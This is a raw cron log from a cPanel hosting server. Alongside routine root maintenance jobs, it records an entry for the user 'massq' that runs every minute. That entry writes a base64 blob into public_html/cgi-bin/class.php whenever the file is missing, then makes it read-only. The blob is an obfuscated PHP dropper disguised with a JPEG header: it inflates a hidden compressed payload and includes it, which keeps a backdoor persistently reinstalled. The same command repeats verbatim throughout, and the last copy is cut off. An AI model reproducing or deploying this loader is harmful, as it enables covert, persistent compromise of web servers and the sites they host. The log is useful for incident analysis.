Sep  3 09:05:01 server CROND[13863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:05:01 server CROND[13864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:05:01 server CROND[13870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:05:01 server CROND[13871]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 09:05:01 server CROND[13872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:05:01 server CROND[13874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:05:01 server CROND[13873]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:06:01 server CROND[14722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:06:01 server CROND[14723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:06:01 server CROND[14724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:07:01 server CROND[15107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:07:01 server CROND[15108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:07:01 server CROND[15109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:08:01 server CROND[15504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:08:01 server CROND[15505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:08:01 server CROND[15506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:09:01 server CROND[15994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:09:01 server CROND[15998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:09:01 server CROND[15997]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 09:09:01 server CROND[15996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:10:01 server CROND[16403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:10:01 server CROND[16404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:10:01 server CROND[16409]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:10:01 server CROND[16418]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:10:01 server CROND[16426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:10:01 server CROND[16429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:10:01 server CROND[16430]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:10:01 server CROND[16427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:11:01 server CROND[17260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:11:01 server CROND[17261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:11:01 server CROND[17262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:12:01 server CROND[17654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:12:01 server CROND[17655]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 09:12:01 server CROND[17658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:12:01 server CROND[17659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:13:01 server CROND[18042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:13:01 server CROND[18043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:13:01 server CROND[18044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:14:01 server CROND[18524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:14:01 server CROND[18525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:14:01 server CROND[18526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:15:01 server CROND[18916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:15:01 server CROND[18918]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:15:01 server CROND[18919]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:15:01 server CROND[18922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:15:01 server CROND[18923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:15:01 server CROND[18925]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:15:01 server CROND[18924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:15:01 server CROND[18926]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 09:16:01 server CROND[19774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:16:01 server CROND[19776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:16:01 server CROND[19775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6w